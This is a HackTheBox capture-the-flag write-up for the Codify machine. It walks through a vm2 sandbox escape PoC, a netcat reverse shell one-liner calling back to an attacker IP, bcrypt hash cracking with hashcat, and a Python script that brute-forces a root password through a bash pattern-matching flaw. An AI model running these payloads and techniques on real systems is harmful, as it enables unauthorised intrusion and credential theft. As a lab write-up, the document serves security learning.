HackTheBox WriteUp - Codify
Enumeration
An initial port scan showed three open ports, SSH and two HTTP ports. Port 80 being an Apache reverse proxy to the Node.js server running on port 3000.
$ nmap -sV -sC -Pn -p1-65535 -o nmap.scan codify.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-10 21:22 CET
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open http Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=12/10%OT=22%CT=1%CU=43943%PV=Y%DS=2%DC=I%G=Y%TM=65761E
OS:2C%P=x86_64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M
OS:539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.69 seconds
Foothold
The website allows testing Node.js code in a browser console. After some initial enumeration, it was discovered, that the vm2 library version 3.9.16 is used for the sandboxing of the untrusted JavaScript code. This version is vulnerable to a sandbox escape through raising an unsanitized host exception. Snyk published the PoC shown below, which allows exection of the cat /etc/passwd
command on the host machine.
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
Using the above vulnerability it was possible to start a reverse shell by executing netcat on the host and a listener on the attacker.
$ nc -lvp 4446
Listening on 0.0.0.0 4446
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 4446 >/tmp/f
The user, which runs the Node.js server was svc, who did not have access to any user flags.
$ whoami
svc
After some further digging on the server, a contact website was found, which was not published. The folder contained a tickets.db
file, which is an sqlite database.
$ ls /var/www
contact
editor
html
$ ls -l /var/www/contact
total 112
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db
The database could be opened using the sqlite3 CLI. Checking the tables showed a user table, which contained the password hash for a joshua user. This joshua user was also found on the machine itself.
$ sqlite3 tickets.db
.tables
tickets users
select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
The hash could be cracked using an offline bruteforce attack with the tool hashcat.
$ hashcat -m 3200 -a 0 hashes /usr/share/wordlists/rockyou.txt --show
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 spongebob1
The credentials turned out to be reused on the host, proven by a successful SSH login as joshua. This led to access to the user flag.
joshua@codify:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
Running the sudo -l
command, showed that joshua is allowed to run the script /opt/scripts/mysql-backup.sh
using sudo.
joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
cont
The script is used to backup databases. It loads the root credentials from a secured file, validates the credentials with a user input and backs up a mysql server to a secured directory. Using joshuas credentials it was possible to log into the mysql server, read the user table and extract the root user password hash. This hash was however not possible to be cracked using a bruteforce attack.
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
The script uses [[ $DB_PASS == $USER_PASS ]]
to compare the user input with the correct password. This is bad, because it does pattern matching instead of actually comparing two strings with each other. This means that the wildcard character *
produces True
in the comparison, since it matches everything. With this knowledge a script was written, which bruteforces the password one character at the time. The script uses the currently known part of the password, appends a new character and *
to it and checks if the comparison returns True
. If yes the character gets appended permanently, if no a new character is tried. After a few seconds, this revealed the root password.
joshua@codify:~$ python3
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> import string
>>>
>>> valid_chars = string.ascii_letters + string.digits
>>> pw = ""
>>>
>>> while True:
... for char in valid_chars:
... current_pw = pw + char + "*"
... command = "echo '{}' | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1".format(current_pw)
... ret = os.system(command)
... if(ret == 0):
... pw = pw + char
... print(pw)
...
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
root@codify:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Reflection
The initial foothold into the machine was rather easy, as the vm2 package and its version was linked on the website itself and the exploit was only one google search away. I spent a long time, trying to bruteforce the root password hash, which didn’t work out. This just showed me, that being able to bruteforce passwords is an option, however often times probably won’t work out. I learned something new about how not to comparisons in bash, which is nice.